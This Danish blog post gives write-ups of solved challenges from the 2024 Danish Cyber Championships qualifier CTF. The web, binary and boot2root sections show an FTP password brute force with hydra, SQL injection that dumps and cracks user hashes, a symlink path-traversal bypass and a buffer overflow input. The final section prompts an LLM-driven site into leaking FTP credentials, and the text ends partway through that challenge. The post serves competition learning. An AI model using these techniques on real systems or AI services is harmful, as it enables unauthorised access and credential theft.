25 minute read

De Danske Cybermesterskaber 2024 - Kvalifikation

Endnu et år er gået og kvalifikationen til De Danske Cybermesterskaber er igen i gang.

Jeg endte i år på en 15. plads, med 18/26 solves, hvilket jeg er godt tilfreds med.

For min (og ikke mindst din, kære læser) skyld har jeg undladt at skrive hele min process ned for at finde alle flagene. Nogle af opgaverne har jeg brugt flere timer på end jeg nok vil indrømme, men når de endelig bliver løst giver det også et ordentligt adrenalin kick, hvilket har motiveret mig til at fortsætte.

Men i dette post finder du svar på hvordan jeg har løst alle de 18 opgaver, uden alt for mange sidespor.

Cryptography

They see me subbin, they hating

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

Jeg krypterede en masse tilfældige engelske ord med en substitutions-chiffer.

Kan du arbejde med nøglen og dekryptere flaget?

Challengen handler om at kigge på fordeling af bogstaver, som kan være lidt irriterende at implementere selv. Men husk der eksistere en del tooling på internettet i forvejen, så hvis i sidder fast prøve at google lidt omkring tooling til substitution ciphers!

En hurtig internetsøgning, ledte frem til denne side: https://planetcalc.com/8047/, som hurtigt finder frem til teksten er krypteret med nøglen ERACMTUNVFHKOYLJXQDGSZBIWP og dekrypteres med CWDSAJTKXPLOEHMZRBUFGIYQNV.

Flag: DDC{WELCOME_TO_DDC_TWENTY_TWENTY_FOUR_LETS_DO_SOME_CRYPTO}


Affinity

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Et affine cipher krypterer en klartekst x til chiffertekst y ved at beregne y = (ax + b) mod m.

Jeg har designet denne sikre krypteringsmekanisme ved hjælp af et affine cipher. Kan du bryde den?

Vi får en tekst krypteret med Affine cipheren. Wikipedia beskriver at denne cipher depryteres ved at udregne

\[D(x)=a^{-1}(x-b) \mod{m}\]

Dekrypteringen er lidt rodet, da jeg dekrypterer flaget bagfra, men det er praktisk med modulo.

def affine_decrypt(cipher, a, b, m):
    result = ''
    inv = pow(a, -1, m)

    for _ in range(36): # Length of flag
        char = cipher % m
        d = (inv * (char - b)) % m
        c = c >> 8
        result = chr(d) + result

    return result

Plainteksten findes ved at tage hver karakter og udregne $D(x)$, som beskrevet ovenfor.

Nu mangler vi bare at finde de mulige aer og b er, hvilket let kan gøres med en list comprehension.

m = 256

ays = [x for x in range(1, 257) if gcd(x, m) == 1]
bs = [x for x in range(1, 257)]

with open('output.txt', 'r') as file:
    cipher = int(file.read(), 0)

for a in ays:
    for b in bs:
        candidate = affine_decrypt(cipher, a, b, m)
        if ("DDC{" in candidate):
            print(candidate)
            print(f'Key = {(a, b)}')
            exit()

Så burde man bare at kunne køre det.

./sol.py
DDC{cryptography_needs_nonlinearity}
Key = (135, 13)

Flag: DDC{cryptography_needs_nonlinearity}


Cracking the randomness

Sværhedsgrad: Medium
Fil: Download
Beskrivelse

Tilfældige tal bruges hele tiden! Men hvor tilfældige er de egentlig?

Til denne udfordring kan det være en fordel at søge rundt efter information og værktøjer til at angribe pythons random funktion!

Vi har en masse output fra pythons random.random() funktion. Heldigvis kan man, ved brug af nok output, regne sig frem til hvad det næste input vil være, såfremt man har mindst 624 outputs (hvilket er præcis hvad vi har). Dette kan gøres med randcrack.

import random
from randcrack import RandCrack

rc = RandCrack()
with open('output.txt', 'r') as f:
    noise = [int(line) for line in f.readlines()]

for n in noise[:624]:
    rc.submit(n)

flag = ''
for f in noise[624:]:
    i = int(f)
    bits = i^rc.predict_getrandbits(32)
    flag += bits.to_bytes((bits.bit_length() + 7) // 8, 'big').decode('utf-8')

print(flag)

Flag: DDC{Not_so_random_anymore_mr_randcrack}

Forensics

Duck Hans

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

Mens du var på ferie, så blev din favorit and Hans befriet af en anden frihedskæmpene and. Hans blev domesticeret tidligt i sit liv, så du ved at han ikke vil kunne overleve i naturen og er nødt til at få ham tilbage så hurtigt som muligt. Heldigvis lavede den frihedskæmpene and en fejl ved at efterlade dig en note og et billede af stedet hvor Hans blev sat fri. Derudover, så har dit gamle overvågningskamera opfanget noget, men det stoppede med at virke i et minuts tid omkring det tidspunkt hvor den frihedskæmpene and slog til. Du har nu fået fat på netværkets logfiler som er relateret til dit overvågningskamera og du mistænker at det har været udsat for et DDoS(1) angreb.

Kan du finde navnet og IP addressen på den frihedskæmpene and, samt søen hvor Hans blev sat fri?

Aflever flaget i følgende format: DDC{FornavnEfternavn_Sø_IPaddresse}

Fx: DDC{DonnieDuck_Tystrup_000.000.000.00}

Bemærk at det kun er den første del af søens navn som skal afleveres i formatet: “Tystrup” i stedet for “Tystrup Sø”

(1) DDoS: I den her sag er det ikke et Distributed Denial of Service angreb men et Ducking Denial of Service angreb. Forskellen her er at angrebet måske ikke er fuldstændigt distribueret (“Distributed”).

Vi får 3 forskellige filer:

  1. En PDF fil
  2. Et .jpg billede
  3. Et netværkslog

Indholdet i PDFen ser ikke umiddelbart spændende ud, men åbner man “Document Properties” i Firefox, kommer linjen Creator: [email protected] frem. Et godt gæt er derfor at vores frihedskæmpende and hedder Quarl Quacklington.

Hvad angår billedet er det ofte nemt at gemme information enten i EXIF data, eller ved brug af stegonografi.

Billedet er gemt med koordinater, hvilket er meget heldigt, da vi jo skal bruge en lokation.

exiftool Hans_Is_Free.jpg
<snip>
GPS Position: 55 deg 40' 37.31" N, 12 deg 28' 33.15" E

Åbner man dette på Google maps (55°40’37.3”N 12°28’33.2”E), finder man frem til Damhussøen.

Til at sortere i netværksloggen, har jeg skrevet et lille script der viser den IP med mest traffik:

#!/usr/bin/env python3
with open("Network Log.txt", "r") as f:
    lines = f.readlines()[2:]

ips = {}
for l in lines:
    ip = l.split("|")[1].strip()
    
    if not ip in ips:
        ips[ip] = 0
    ips[ip] += 1

# get ip with most requests
ip = sorted(ips, key=ips.get, reverse=True)[0]
print(f'{ip=}, with {ips[ip]} requests')
./sol.py
ip='93.184.216.34', with 12 requests

IP adressen der udfører DDoS er altså 93.184.216.34.

Flag: DDC{QuarlQuacklington_Damhus_93.184.216.34}


CTF platformen

Sværhedsgrad: Very Easy
Fil: Download
Beskrivelse:

Jeg har fundet nogle underlige logs fra en CTF platform der har været med til BlackHat Europe. Det ser dog ud til, at den skriver nogle af flagene ud i loggen. Kan du finde et til denne opgave?

En hurtig grepping efter flaget er alt vi behøver:

rg -o "DDC\{.*\}" hknd.log
143:DDC{CTRL+F-can-be-used-for-flags}

Flag: DDC{CTRL+F-can-be-used-for-flags}


Spionjagt

Sværhedsgrad: Very Easy
Fil: Download
Beskrivelse:

Velkommen til “Spionjagt”! Din mission er at afsløre en spion, der har infiltreret et dansk CTF-hold og stjålet følsomme data. Se om du kan identificere de stjålne oplysninger ved at kigge i netværks trafikken.

Lad og starte med at se på fordelingen af traffik, baseret på protokoller:

Protocol overview

Der er en smule HTTP traffik, et af requestsne er et POST på et /login.

Idet det kald bliver lavet svarer serveren med

{"cookie":"RERDe0R1VHJvZWRlTm9rQXREdVNrdWxsZUJydWdlRGV0SGVyU29tRmxhZ30="}

Det ligner base64…

echo "RERDe0R1VHJvZWRlTm9rQXREdVNrdWxsZUJydWdlRGV0SGVyU29tRmxhZ30=" | base64 -d
DDC{DuTroedeNokAtDuSkulleBrugeDetHerSomFlag}

Vi er blevet trollet af opgaveskaberne. Øv.

Lad os i stedet undersøge FTP trafikken.

Wireshark FTP

Pakke 2266 indeholder den overførte secretview.txt fil som vi kan få vist i wireshark.

Filen virker til at indeholde en masse feedback på CTF opgaver, hvoriblandt der står et flag:

[...] En af mine personlige favoritter var opgaven med flagget i formatet DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a} [...]

Efter at have erkendt dette, fandt jeg frem til at flaget også kan læses direkte i filen, vha. strings (hvilket nok også er begrundelsen for sværhedsgraden).

strings spionjagt.pcap | rg -o "DDC\{.*\}"
DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a}

Flag: DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a}


Flag Transfer Protocol

Sværhedsgrad: Very Easy
Beskrivelse:

Er der mon en “admin” der har en port åben for at overføre filer? Og har han mon tænkt over at John lurer i skyggerne?

Start med at lede efter hosts med FTP åben:

nmap 77.39.18.0/24 -p 20,21

Udover de hosts der er reserveret til Haaukins (.1, .2, .3), er 77.39.18.30 åben med FTP.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 77.39.18.30 ftp
<snip>
[21][ftp] host: 77.39.18.30   login: admin   password: phantom
# login
ftp [email protected]
ftp> ls
-rw-rw-rw-   1 root     root       221251 Feb 19 13:06 flag.jpg
-rw-rw-rw-   1 root     root       111879 Feb 19 13:06 flag.png
-rw-rw-rw-   1 root     root           34 Feb 19 13:06 flag.txt
ftp> get flag.txt
ftp> exit
cat flag.txt
DDC{Keeping-track-of-all-my-flags}

Flag: DDC{Keeping-track-of-all-my-flags}

Reverse Engineering

I C what you did there

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

En eller anden går rundt og vil spille det der spil med kopper hvor man skal gætte hvor bolden er henne. Der er dog ingen der har besejret ham endnu. Kan du vinde spillet?

Du kan begynde spillet at ved bruge kommandoen “nc shuffler.hkn 1337”

Jeg kylede den udleverede binary ind i Ghidra, for at se hvad den kunne sige om filen. Det ser noget rodet ud, og den har svært ved at sige hvilke typer hvad er, men jeg har brugt en del timer på at forsøge at blive klogere på den. Jeg observerede dog at funktionen checkInput() verificerer at inputtet er 29 karakterer langt, hvilket matcher det med de tal der ligger gemt i main():

int local_48 = 0x4773707543656854;
int local_40 = 0x5226646e756f526f;
int local_38 = 0x69436e49646e756f;
int local_30 = 0x73656c6382;

Disse tal ligger alle inden for ASCII range, hvis man ser på det byte-vis, og er 29 bytes lang.

Derfor tog jeg og konverterede det til tekst, vha. CyberChef, hvilket gav teksten GspuCehTR&dnuoRoiCnIdnuoselcr. Reverser man dette, får man strengen rclesoundInCioRound&RTheCupsG, hvilket begynder at ligne noget.

Da den filen er skrevet som little-endian, byttede jeg om på rækkefølgen af de “variable” (local_48, local_40, local_38 og local_30). Hvilket giver strengen TheCupsGoRound&RoundInCircles, hvilket jo faktisk er læsbart!

Lad os se hvad den binary siger til det…

echo "TheCupsGoRound&RoundInCircles" | ./shuffler 

selcriCnIdnnd&RouuoRoGspuCehTIncorrect input

Den giver inputtet tilbage, men i en mærkelig rækkefølge.

For nemmere at kunne observere dette, kan vi blot give den alfabetet:

echo "abcdefghijklmnopqrstuvwxyz123" | ./shuffler 

321zyxwvutsmnopqrlkjihgfedcbaIncorrect input

Den er altså reverset, på nær et stykke i midten, som stadig står normalt, men er forskudt et par indeks.

Ud fra checkInput() ved vi at inputtet skal matche den streng vi har fundet, så nu starter reversingen for alvor: Find strengen der giver TheCupsGoRound&RoundInCircles som output

Give me an input: 
selcriCnIdnuund&RooRoGspuCehT

TheCupsGoRound&RoundInCirclesDDC{K33p_my_3y3s_0n_th3_priz3}

Flag: DDC{K33p_my_3y3s_0n_th3_priz3}


Too much fun with rexep 101

Sværhedsgrad: Medium
Beskrivelse:

I’m having fun with regular expressions. Here I played a bit with features like capture groups, lookahead and look behind.

/(?=^(.{4}([2-8CFGLNPRUXY\-]+).)$)(?=^([^5]*)$)(?=DDC\{)(?=.*4LLY)(?=.*C4)(?=.{4}(?<RE>..).{13}(?:\k<RE>))(?=.*P\d)(?=^.{4}[23GPRX]{7}-)(?=^([^3]*3){4}[^3]*$)(?=^.{5}(?<D>\d).{1}(?:\k<D>).{9}(?:\k<D>).{2}(?:\k<D>))(?=.*-(?!=4)([4CN]{3})(?<!\d)-)(?=^[^\-]{11}(?<=2)-[^\-]{3}(?<=N)-83-[34LRY]{6}-FUN)(?=.+R.G.X)(?=.*(?<=N)}$)(?=.*(?<=R)3){2}(?=.*(-..N)){2}^.{30}$/gm

Can you find a string that matches?

Det er noget af en mundfuld, men hvis vi deler expressionen op, består den af en hel masse positive-lookahead expressions:

/(?=^(.{4}([2-8CFGLNPRUXY\-]+).)$) // 1
(?=^([^5]*)$) // 2
(?=DDC\{) // 3
(?=.*4LLY) // 4
(?=.*C4) // 5
(?=.{4}(?<RE>..).{13}(?:\k<RE>)) // 6
(?=.*P\d) // 7
(?=^.{4}[23GPRX]{7}-) // 8
(?=^([^3]*3){4}[^3]*$) // 9
(?=^.{5}(?<D>\d).{1}(?:\k<D>).{9}(?:\k<D>).{2}(?:\k<D>)) // 10
(?=.*-(?!=4)([4CN]{3})(?<!\d)-) // 11
(?=^[^\-]{11}(?<=2)-[^\-]{3}(?<=N)-83-[34LRY]{6}-FUN) // 12
(?=.+R.G.X) // 13
(?=.*(?<=N)}$) // 14
(?=.*(?<=R)3){2} // 15
(?=.*(-..N)){2} // 16
^.{30}$/gm // 17

Lad os tage reglerne 1 for 1:

  1. Fra og med tegn 5, må der kun være tegn i rangen [2-8CFGLNPRUXY] (udover sidste tegn)
  2. Flaget må ikke indeholde tallet 5
  3. Flaget starter med DDC{
  4. Flaget indeholder sekvensen 4ALLY
  5. Flaget indeholder sekvensen C4
  6. Sekvensen på indeks 5-6 er mage til indeks 20-21
  7. Efter P skal der stå et tal
  8. Efter DDC{ følger 7 tegn blandt [23GPRX] og så en bindestreg
  9. Der er 4 3-taller i flaget
  10. Tallet på indeks 6, 8, 18 og 21 er ens
  11. Flaget indeholder -[4CN]{3}-, hvor sidste karkter inden bindestregen ikke er et tal.
  12. Flaget har formen $..........2-..N-83-[34LRY]{6}-FUN, hvor . ikke kan være en bindestreg
  13. Flaget indeholder R.G.X
  14. Flaget slutter på N}
  15. Sekvensen R3 indgår 2 gange
  16. Sekvensen -..N indgår 2 gange
  17. Flaget er 30 karakterer langt

En god start er at bruge hjemmesiden regex101.com både til at overskue de mange tegn, men også til at verificere flaget inden submission.

Ud fra disse 17 regler, kan man finde frem til flaget, ved stille og roligt at substituere karaktererne.

Flag: DDC{R3G3XP2-C4N-83-R34LLY-FUN}

Web Exploitation

we-need-more-crypto

Sværhedsgrad: Medium
Beskrivelse:

Cryptocurrency er i øjeblikket det mest populære, og derfor er det vigtigt med endnu en platform, hvor du som bruger kan handle og foretage betalinger med din cryptocurrency! Hos CryptoFlex er vi dybt involveret i kryptovalutaer og ønsker derfor at præsentere innovative måder at håndtere handel og brug af kryptovalutaer på i dag. Vores nye hjemmeside er under udvikling, men er allerede tilgængelig online! Tag et kig på cryptoflex.hkn!

Vi lander på en plain hjemmeside, uden det store spændende man kan hverken logge ind eller signe up. Et nmap scan fortæller hurtigt at der ikke er andet åbent end port 80, så vi har kun hjemmeside at gå efter.

Dog viser robots.txt sig at være interessant:

User-agent: *
Disallow: /private/
Disallow: /secret.html
Disallow: /images/new_images/

Af disse entries, er det kun /images/new_images/ der eksisterer - men den returnerer 403.

Undersøger man kildekoden for hjemmesiden nærmere, kan man dog se at linje 64-70 er ret interessant:

<li class="nav-item">
    <a class="nav-link" href="404.html">
    <!-- Wallet -->
    <span>Wallet</span>
    <!-- <img src="*********/wallet-img.jpg" width="18px" alt="" /> -->
    </a>
</li>

Kodekommentaren stikker ud fra alle de andre, da noget af stien en censoreret.

Gad vide om det kunne være den sti fra robots.txt…?

Og ganske rigtigt, navigerer man til /images/new_images/wallet-img.jpg, finder man dette billede:

DDC{c0mm3nted_c0de_c1n_st1LL_b3_se3N}

Flag: DDC{c0mm3nted_c0de_c1n_st1LL_b3_se3N}


im-blogging-you

Sværhedsgrad: Hard
Beskrivelse:

Hejsa! Jeg vil gerne byde dig velkommen til im-blogging you. Im-blogging you er en blog side, hvor du kan oprette dig som bruger og poste dine tanker og følelser. Vi har også mulighed for at lave private post som er kun tilgængelig for dig! Vi håber at se dig poste løs på vores fantastiske blog side!

Vi får en hjemmeside der virker til at være halvt færdig, men de ting der er implementeret er forholdsvis robuste. Det er muligt at signe up og logge ind, men reset password featuren virker ikke (returnerer 500).

Hjemmesiden er bygget i Flask, så man får en session cookie sat, som vi kan læse hvad indeholder vha. flask-unsign.

flask-unsign --decode --cookie ".eJwlzsuKAjEQheF3ydpFkkpd4ss0dQuKoNCtq2HefVpmeX448P2Ube153Mr1vX_yUrZ7lGuxrDingYVNRtPmC4FyjJYcEESqq6NBiIaOMOnhHROZLLgmV3ZqbWgOA54TiUC-F2FLpy6hoivIkFlc53IJWRaUPBBGUjkhnyP3f03v5_ZjX9v79cjn16cNFB3TEipTdPPlmg2lTzx7zWUIMMvvHx2qQaY.ZfMqlA.k0-nZmnR9hAGNr7JfAbzyaNP_J4"
{'_fresh': True, '_id': 'be0599b3bdb975ba1cf536e441e7d3d66aaf25b3d8ada4db82dc25e576bd70e707c6114ae4b379956638aaf287bec628da8afd6b5778ca9fc8d8fbd6e74534e6', '_user_id': '22', 'csrf_token': 'ba13a5c5ebe3076d2bcfcae1582955c50efb5339'}

Denne token indeholder også en CSRF token, så det er heller ikke muligt at få en anden bruger til at nulstille deres kodeord uanset.

Det er heller ikke muligt at lave SSTI i posts, da alle special karakterer bliver escapet ordentligt.

En bruger kan uploade et nyt profilbillede, hvilket jeg også forsøgte at injecte, men uden held.

Det interessante på siden er dens søge-feature, hvor man kan søge i brugere og posts. Lad os se om man kan lave en SQL injection på dette…

SQLi on post search

Det virker!

Desværre har jeg ikke fået SQLmap til at virke på URLen, så det bliver manuelt.

Jeg brugte en 4-5 timer på at erkende at man ikke kunne bruge UNION SELECT på nogen anden tabel, så jeg byggede et script til at enumerate passwords på brugerne med LIKE operatoren. Jeg fik hashet og emailen for admin brugeren men kunne ikke logge ind med det (det rå hash).

Jeg enumeratede posts der indeholdt password eller secret, men fandt ikke noget interessant der kunne bruges, til sidst lagde jeg opgaven på hylden.

Et par dage senere tog jeg fat i den igen og opdagede at mine enumeration script erstattede mellemrum med %20, men at søgefeltet erstattede det med +.

Jeg ændrede dette hvorefter UNION SELECT virkede! :no_mouth:

Nu er det nemt blot at dumpe alle passwords:

Password dump

Databasen er sqlite, og indeholder ikke andet end de 2 tabeller user og post, udover autoindex-tabeller (SELECT name FROM sqlite_master).

De to tabeller har hhv. 5 og 6 kolonner:

user post
email content
id date_posted
image_file id
password private
username title
  user_id

Ved at gennemgå postsne, kan jeg endelig se det fulde post der indeholder teksten “password”:

How awesome! I can use these private posts for private stuff!!, That means i dont have to remember my password:b’$2b$12$2..VGo7z8PvojapLFLnBceebUnhMJ3nZP6MpgJXe.Q66iw6K6awtC’

Det er postet af brugeren med user_id 21, som har emailen [email protected].

Så er det bare om at cracke det bcrypt hash.

Jeg satte JohnTheRipper igang med dette, uden nogle agumenter, da john ikke var glad for --wordlist og --format. john udleder selv hashtypen og bruger blot sin default password liste.

Efter nogle minutter, fandt den et passende password: running1

Så vi prøver at logge ind med [email protected]:running1.

Bobby Tables

Flag: DDC{MY_S0NS_N4M3_1S_B0BBY_T4BL3S}


Awesome Javascript

Sværhedsgrad: Very Easy
Beskrivelse:

I dag er JavaScript afgørende for hjemmesider! Find en fed JS-funktion på awesome-js.hkn!

Efter at åbne awesom-js.hkn, finder man en side der kan bruge et par funktioner i JavaScript. Det interessante er dog at åbne kildekoden for main.js, hvor der på linje 39 ligger en flag() funktion, som returnerer en streg, der er base64 encoded.

function flag(){
    return 'Here is your mighty reward: ' + atob('RERDe2wwbjNseS1qNHY0NWNyMXA3LWZ1bmM3MTBufQ');
}

Det er derfor blot at åbne konsollen og kører funktionen

flag()
"Here is your mighty reward: DDC{l0n3ly-j4v45cr1p7-func710n}"

Flag: DDC{l0n3ly-j4v45cr1p7-func710n}


kd-website

Sværhedsgrad: Something
Fil: Download
Beskrivelse:

“Jeg synes du skal holde dig til crypto challenges” - bootcamp deltager 2023 kdwebsite.hkn

Denne gang er vi heldige og får hele source for hjemmesiden vi ser på.

Den er ret plain - det er muligt at requeste et blogpost (eller en hvilken som helst anden fil på serveren), så længe det ikke er flaget. Flaget kan man kun få som admin. Den flask secret der er loadet ligger i filen ../config.json, så lad os prøve at dumpe denne:

// SECRET KEY for some session data or something? I'm not really sure how configs work. 
// If i just put some random hex string like this it should be fine right?
SECRET_KEY = "99a147c8b967fcc82fe59a7864bec829f2cbc81c50494120f506bab843780558"

Men dette er jo ikke valid json, så config bliver sat til os.urandom(32).hex(), hvilket ikke er muligt at gætte. Vi kommer altså ikke i nærheden af flaget ved at sætte vores session cookie til ADMIN.

Lad os i stedet se på funktionen is_flag().

# Util stuff
def readfile(path):
    return open(path, "r").read()

# Please no leak my flag
def is_flag(path,flag):
    # avoid shenanigans
    return os.path.exists(os.path.abspath(path)) and readfile(path) == flag

Hvis vi skal kunne læse flaget, skal vi på en eller anden måde omgå den første del af det boolske udtryk. Jeg startede med at prøve at indsætte nogle specialtegn, som open() forhåbentlig ikke ville læse, men uden det store held.

Så kom jeg til at tænke på symlinks, og om det ikke er muligt at hoppe rundt med disse, så abspath() vil give noget der ikke passer, men open() følger dette symlink.

Jeg hentede det dockerimage ned som websitet kører over, og spawnede en interaktiv shell, for at finde et symlink der linkede bagud.

Efter lidt find -type l magi, fandt jeg frem til /proc/1/root, som er et symlink til /.

Ud fra dette kan stien til flaget skrives som /proc/1/root/../app/website/flag.txt.

Så vil abspath() give stien /proc/1/app/website/flag.txt, hvilket ikke findes, men open() vi følge symlinket, og returnere flaget til os!

Flag: DDC{oopsy-woopsy-my-config-goofy}

Binary Exploitation

Hangry CPU

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Broooo du tror det ikke!! Din CPU har spist flaget, og jeg skulle ellers lige til at give det til dig… Legenden siger at hvis du spiser hvidløg så forsvinder vampyrerne, men de siger også at du kan bruge GDB til at tjekke din CPUs mave. Lækkert ikke? Nårh, men hils CPU’en fra mig og sig til den at den skal give mig mine barbecue chips tilbage.

file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5bede9cb7cb1326ced67179c995bd5537594c2a2, for GNU/Linux 3.2.0, not stripped

Outputtet fra filen er ret stort, men det tæller ned og siger hvornår man skal læse flaget i et register.

Lad os prøve at objdumpe det

objdump -d chall
<snip>
  40141e:	e8 fc fd ff ff       	call   40121f <printLineByCharector>
  401423:	bf 20 a1 07 00       	mov    $0x7a120,%edi
  401428:	e8 93 fc ff ff       	call   4010c0 <usleep@plt>
  40142d:	b8 00 00 00 00       	mov    $0x0,%eax
  401432:	e8 59 fe ff ff       	call   401290 <processFlag>
  401437:	b8 00 00 00 00       	mov    $0x0,%eax
  40143c:	e8 09 ff ff ff       	call   40134a <breakHere>
  401441:	b8 00 00 00 00       	mov    $0x0,%eax
  401446:	e8 d0 fe ff ff       	call   40131b <deleteFlag>
<snip>

Der ligger faktisk en funktion der hedder breakHere

Mon ikke det ville være et passende sted at sætte breakpointet i gdb?

gdb chall
(gdb) break breakHere
(gdb) run
(gdb) info registers
rax            0x0                 0
rbx            0x7fffffffe360      140737488348000
rcx            0x7fffffffe360      140737488348000
rdx            0x7fffffffe360      140737488348000
rsi            0x0                 0
rdi            0x0                 0
rbp            0x7fffffffe480      0x7fffffffe480
rsp            0x7fffffffe480      0x7fffffffe480
r8             0x7fffffffe360      140737488348000
r9             0x7fffffffe360      140737488348000
r10            0x7fffffffe360      140737488348000
r11            0x7fffffffe360      140737488348000
r12            0x7fffffffe360      140737488348000
r13            0x7fffffffe360      140737488348000
r14            0x7fffffffe360      140737488348000
r15            0x7fffffffe360      140737488348000
rip            0x401352            0x401352 <breakHere+8>
<snip>

Spændende… Rigtige mange af registrerne peger på den samme adresse, lad os se hvad der står der.

(gdb) x/s $rbx
0x7fffffffe360:	"DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}"

Her bruger jeg xfor eXamine og s for at formatere det som en String.

Flag: DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}


File overflow

Sværhedsgrad: Easy
Beskrivelse:

Tillykke med dit nye job her hos LS pension. Vi er glade for at du har valgt at starte her. For at du kan komme i gang skal du ind i vores filsystem. Her kan du finde de filer du skal bruge. SSH ind i vores system på FileSystem.hkn. Dit brugernavn er employe1 og din adgangskode er 321. Men pas på at du ikke får filsystemet til at flyde over.

ssh [email protected]

Efter at SSHe ind i maskinen, ligger der en binary, samt en lettere modificeret source dertil.

Et udklip af denne source kan ses her:

typedef struct user {
    char username[32];
    char password[32];
    int access_level;
} user;

void idCheck(user *account)
{
    if (account->access_level >= 3)
    {
   
        printf("Since you are the boss you can get the balance of any account\n");

        system("cat /path_to_flag");
    }
    else
    {
        printf("you dont have the right access level\n");
    }
}

Idet man kører filen, beder den om et brugernavn, som sættes ind i en user struct, defineret ovenfor.

Man får default access level 1, hvorved man ikke har adgang til flaget, men da der ikke er nogen begrænsning på inputtet i starten, kan vi blot overflowe de to strings på hver 32 karakterer og dermed sætte vores access level manuelt.

Good afternoon and welcome
What is your name
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa5

Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
4
Since you are the boss you can get the balance of any account
DDC{THE_FILES_ARE_EVERYWHERE}

Flag: DDC{THE_FILES_ARE_EVERYWHERE}

Misc

Digit Distorter

Sværhedsgrad: Medium
Beskrivelse:

Din kollega fortæller dig spændt om den ciffer indkodningsapplikation han har lavet, som din afdeling skal bruge fra nu af. Du ved at din kollega hverken er begavet når det kommer til udvikling af applikationer eller sikker indkodning, og han har lavet fejl førhen, så du spørger om du må tage et kig på den. Din kollega vil vædde på at du ikke ville kunne afkode den 10-cifret kode på billedet som du kan “se” på hjemmesiden. Kan du afkode den og bevise, at din afdeling ikke burde anvende din kollegas applikation? Du kan finde applikationen under linket nedenfor.

Flaget er den originale 10-cifret kode fx. DDC{0000000000}

digit-distorter.hkn

Vi har at gøre med en hjemmeside der viser en form for QR kode, eller i hvert fald brudstykker af en.

Vi skal finde 10 tal gemt i et billede på 150x15 px (skaleret op 10 gange). Det faktiske billede er 1500x160, men de nederste 10 px har ikke noget at sige, så vidt jeg kan se.

Landing Page

Udfordringen bliver ikke loadet korrekt, da den er sat ind som .jpg, men faktisk ligger med en .png extension (formentlig et hint til beskrivelsen).

Dette er billedet vi skal finde tallene for:

Challenge

Der er en prompt man kan indsætte 10 tal i og få et billede tilbage.

Derudover er der billedet nederst på siden, som har stien /static/images/example_last=7.png

Dette findes for alle tal 0-9, hvilket jeg har brugt lang tid på at forsøge at skabe mening i.

Jeg tog dog også og promptede siden med sekvensen 0123456789, 1122334455 og 6677889900, det viser sig hurtigt at disse sekvenser ikke viser de samme koder for ens tal.

Men jeg måtte igang med GIMP:

GIMP

Ved at mixe og matche, fandt jeg frem til sekvensen 411.A5.A.5, hvor A er det samme tal.

Da jeg ikke kom videre, begyndte jeg at se efter mønstre i koderne:

  • Jeg talte antal sorte pixels i bestemte rækker
  • Jeg talte antal sorte pixels i bestemte kolonner
  • Jeg talte antal sorte pixels i hver kode
  • Jeg forsøgte at skrive et script der loadede filerne og viste lignende mønstre

Alt sammen uden held.

Jeg så ikke anden udvej end at prøve at skrive dette delvise svar ind i prompten og se hvad den gav tilbage.

Til min store forargelse (da det er rimelig intuitivt), viste den selvfølgelig at de tal jeg havde passede, hvilket måtte betyde at jeg kunne gætte mig frem til de resterende tal.

Efter lidt fedten frem og tilbage med tallene fandt jeg frem til sekvensen 4113956985, som svarer til den givne kode.

Flag: DDC{4113956985}


A Tale of Encodings

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

Du er blevet kontaktet af Zark Muckerberg, ejeren af Phasebuk, som har problemer med en ny eksperimentel funktion i BetaVerset, hans virtuelle virkelighedsplatform, en funktion drevet af en LLM (Large Language Model). Tilsyneladende, efter en arbejderforeningskonflikt, forlod nogle utilfredse udviklere projektet midt i det hele, og gemte en afgørende adgangskode inde i applikationen. Efter nogle indledende forsøg på at finde den ved hjælp af dit standardværktøj, lykkedes det dig at hente det, du tror er den adgangskode, du søger, i en kodet form. Efter flere mislykkede forsøg på at afkode den, i din fortvivlelse, bad du AI-assistenten inde i BetaVerset om hjælp. Til din glædelige overraskelse genkendte den krypteringen, men i overensstemmelse med sin programmering, gav den dig instruktionerne om, hvordan du afkoder den som en historie i universet. Nu skal du finde ud af dens gåde for at løse dit problem…

Vi får en masse fyldtekst, samt et encoded password:

010001004401101111440110111043011001017B010111114E
010110016F0110010174011101005F01111101

Det ser ud til at være en blanding af hex og binær, men mon ikke det blot er charcodes. Det nemmeste er i hvert fald at dele den op, for overskuelighedens skyld.

01000100 01101111 01101110 01100101 01011111
01011001 01100101 01110100 01111101
44 44 43 7B 4E 6F 74 5F

Ved at oversætte de to encodings seperat, får man at det binære giver Done_Yet} Og det hexadecimale giver DDC{Not_

PDFen hinter dog også at man skal bruge ceasar til at shifte nogle af tegnene.

Det kan f.eks. gøres ved bare at slå op i man ascii, hvor man kan se rækkefølgen af tallene og deres værdier.

Efter hvert bogstav i flaget, (udover underscore) er roteret, får vi teksten: Kip_Devs_Hpy

Flag: DDC{Kip_Devs_Hpy}

Boot2Root

Campfire Stories

Sværhedsgrad: Easy
Beskrivelse:

Besøg campfire-stories.hkn og lad de varme flammer og lugten af røg inspirere dig.

Vi lander på en plain hjemmeside der kan give output, baseret på en prompt. Den kan i hvert fald give et output…

robots.txt, ser interessant ud:

# https://www.robotstxt.org/robotstxt.html
# Maybe we should not train on company data?
# Could our ftp credentials be leaked by the AI?
# Probably not a problem. Nobody writes stories about ftp anyway
# datacenter.campfire-stories.hkn should still be safe right?
User-agent: *
Disallow: /
Allow: /$
Allow: /share/*
Allow: /images/*
Allow: /static/*

Lad os se om vi kan få dumpet nogle credentials.

Prompting for FTP

echo "Z3B0OTAwMA==" | base64 -d 
gpt9000

Så kan man vel bare logge ind?

ftp [email protected]
ls
-rw-rw-rw-   1 root     root     22502646 Jan 09 08:25 train.txt
get train.txt
exit
rg -o "DDC\{.*\}" train.txt
